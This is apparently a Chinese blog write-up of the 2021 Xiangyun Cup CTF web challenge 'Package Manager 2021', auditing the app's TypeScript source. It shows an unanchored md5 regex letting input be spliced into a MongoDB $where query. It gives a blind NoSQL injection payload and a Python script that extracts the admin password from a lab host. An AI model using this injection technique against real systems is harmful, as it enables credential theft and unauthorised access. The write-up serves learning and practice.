[2021祥云杯]Package Manager 2021

[2021祥云杯]Package Manager 2021

1.下载附件,查看源码,语言是TypeScript,基于javascript类型拓展的超集,大概语法也和Node.js类似。直接打开网页,配合功能点来审计关键点。

2.首先就是ini_db.ts文件,里面记载了flag的存放位置,就是保存到了package数据库中:

        const flag = {
            "user_id": admin.id,
            "pack_id": genPackageId(admin.id),
            "name": "Flag is here",
            "description": process.env.FLAG,
            "version": "1.0.1"
        }
        let pack = new Package(flag);
        await pack.save();

2.打开页面就是一个注册、登陆的功能点 ,在index.ts中相应的实现源码如下,大概意思就是register功能实例化一个User数据库对象,并将输入的数据进行查找判断并注册保存,然后跳转到login功能,利用用户名来查找user,然后对密码进行判断,然后设置session

router.get('/login', (_, res) => res.render('login'))

router.post('/login', async (req, res) => {
	let { username, password } = req.body;
	if (username && password) {
		if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string") {
			return res.render('login', { error: 'Parameters error' });
		}
		const user = await User.findOne({ "username": username })
		if (!user || !(user.password === password)) {
			return res.render('login', { error: 'Invalid username or password' });
		}
		req.session.userId = user.id
		res.redirect('/packages/list')
	} else {
		return res.render('login', { error: 'Parameters cannot be blank' });
	}
})

router.get('/register', (_, res) => res.render('register'))

router.post('/register', async (req, res) => {
	let { username, password, password2 } = req.body;
	if (username && password && password2) {
		if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string" || password2 == '' || typeof (password2) !== "string") {
			return res.render('register', { error: 'Parameters error' });
		}
		if (password != password2) {
			return res.render('register', { error: 'Password do noy match' });
		}
		if (await User.findOne({ username: username })) {
			return res.render('register', { error: 'Username already taken' });
		}
		try {
			const user = new User({ "username": username, "password": password, "isAdmin": false })
			await user.save()
		} catch (err) {
			return res.render('register', { error: err });
		}
		res.redirect('/login');
	} else {
		return res.render('register', { error: 'Parameters cannot be blank' });
	}
})

3.然后进入到后台,也可以查看一下具体功能代码分析,例如初始界面给出了介绍:欢迎来到软件包管理站点,尝试努力创建自己的包并将其提交给管理员。

image-20230804162928552

4.进去后就会进入渲染testUser用户的package的管理界面,这个是可以在初始化的文件中看得见的。大概package包含user_id(登陆的用户id)、pack_id(根据用户id等等计算的)、name(包名)、description(包描述)、version(包版本)。由于我们的用户没有包数据,那么就会自动渲染testUser的包数据,否则进入/list路由,渲染自己的包数据:

router.get('/list', async (req, res, next) => {
	const packs = await Package.find({ user_id: req.session.userId });
	if (packs.length == 0) {
		return res.redirect('/packages');
	}
	let { search } = req.query;
	if (search) {
		try {
			let description = search;
			let name = search;
			if (typeof description === 'string') {
				description = { description };
			}
			if (typeof name === 'string') {
				name = { name };
			}
			const packs = await Package.find({
				user_id: req.session.userId,
				$or: [name, description],
			});
			if (packs.length == 0) {
				return next(createError(404));
			}
			return res.render('packages', { packs });
		} catch (err) {
			return next(createError(500))
		}
	}
	return res.render('packages', { packs });
});

5.剩下的/add路由,添加包数据到package数据库;/:id/edit路由,修改对应pack_id的包数据;/:id/delete,删除对应pack_id的包。代码就不放了,到这里就已经解释了schema.ts文件中定义的两个数据库了,分别是User、Package。还剩一个Report数据库就是重点了。

6.下面这段代码,是/submit的功能实现,虽然两个功能不在同一个文件,但是是联通性的。当我们通过/auth认证以后成功,就能通过/submit来将我们的包名pack_id保存到Report数据库中,也就是下面要执行的操作。

router.get('/submit', checkAuth, (_, res) => res.render('submit'));

router.post('/submit', checkAuth, async (req, res) => {
	let { pack_id } = req.body;
	if (!checkmd5Regex(pack_id)) {
		return res.render('submit', {
			error: 'Package id must be valid md5 string',
		});
	}
	try {
		const report = new Report({ pack_id: pack_id });
		await report.save();
		return res.render('submit', { message: 'Package successfully submitted' });
	} catch (err) {
		return res.render('submit', { error: 'Already submit your package' });
	}
});

7.后面就是一个已经登陆了管理员账号的bot,它会每隔5s访问一遍在Report数据库中上传的包/packages/${id}路径。

 try {
        const page = await browser.newPage();
        page.on('dialog', async dialog => {
            await dialog.accept();
        });
        console.log('Working');
        await page.goto(new URL('/login', base).toString());
        await page.type('#username', 'admin');
        await page.type('#password', process.env.ADMIN_PASSWORD);
	await Promise.all([page.waitForNavigation(), page.click('#submit')]);

	console.log(`Checking packages ${id}`)
        await page.goto(new URL(`/packages/${id}`, base).toString());
        await timeout(TIMEOUT * 4);

    } catch (err) {
        console.log(err)
    } finally {
        await browser.close()
    }

8.那么思路到这就清晰了,首先是管理员它会创建一个带有flag数据的包,然后我们就需要构造恶意窃取cookie的包,然后通过auth的校验,最后传递包名到Report数据库,并且让管理员机器人访问,得到cookie,替换登陆即可在包管理界面查看到flag

9.那么,第一步要干的事情就是测试含有xss的包,很遗憾有转义,那就没办法了。那就只能看向/auth路由了,因为就算是没有转义,也得需要通过认证,才能传递数据包:

router.get('/auth', (_, res) => res.render('auth'))

router.post('/auth', async (req, res) => {
	let { token } = req.body;
	if (token !== '' && typeof (token) === 'string') {
		if (checkmd5Regex(token)) {
			try {
				let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
				console.log(docs);
				if (docs.length == 1) {
					if (!(docs[0].isAdmin === true)) {
						return res.render('auth', { error: 'Failed to auth' })
					}
				} else {
					return res.render('auth', { error: 'No matching results' })
				}
			} catch (err) {
				return res.render('auth', { error: err })
			}
		} else {
			return res.render('auth', { error: 'Token must be valid md5 string' })
		}
	} else {
		return res.render('auth', { error: 'Parameters error' })
	}
	req.session.AccessGranted = true
	res.redirect('/packages/submit')
});

10.这里就指明了用户名必须是adminpassword就是我们POST传递的token参数,然后执行语句获得的结果要为真。那么,注意的是checkmd5Regex()方法校验我们传递的token,这里跟进一下util.ts文件,查看该方法:

const checkmd5Regex = (token: string) => {
  return /([a-f\d]{32}|[A-F\d]{32})/.exec(token);
}

11.可以发现,上面是以一个正则匹配大小写和数字一共32位,两种模式的,但是由于没有加^$进行语句开头结尾限定,那就说明它只匹配前32位的字母要符合模式就行,后面就能构造任意的语句。因为继续往上查看,它在执行语句时,会将我们输入的token进行拼接,然后再判断的。那么我们知道了管理员用户名admin,再注入出密码,不就可以登陆账号查看flag了吗?

12.一开始在schema.ts文件中,就能得到数据库类型为mangodb,刚好能用它的特性盲注MongoDB特性注入来得到密码,构造payload:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[1]=="a

13.然后,利用python脚本跑出管理员密码,这里跑的时候也遇到了一些问题,那就是post中的直接跳转allow_redirects要为假,否则跑不出结果:

import requests

pwd = ""
url = "http://dd1824b4-753b-442f-bfec-6db89a8b5fcd.node4.buuoj.cn:81/auth"
dict = "!@#$%^&(){}*/|abcdefghijklmnopqrstuvwxyz0123456789.',?"
header = {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
    "cookie":"session=s:ZHO_3HolPc0BWEJvCYZXchC_JCZVaaNU.t/5aohGDiIJLWRg+Eoqs0XSVg5gUyO8Pgr4HpZTGhyM",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Upgrade-Insecure-Requests": "1",
}

for i in range(50):
    for j in dict:
        payload = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
        #print(payload)
        data = {
            "_csrf":"Y8aq904k-FkpeSmten96FaD8M2Ri2Ls8CeMw",
            "token": payload
        }
        res = requests.post(url=url,headers=header,data=data,allow_redirects=False)
        #print(res.text)
        if "Redirecting" in res.text:
            pwd+=j
            print(pwd)
            break

总结

这道题确实可能有点问题,因为真要按照上面代码审计的操作,应该是窃取管理员cookie,这部分可能是非预期解。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值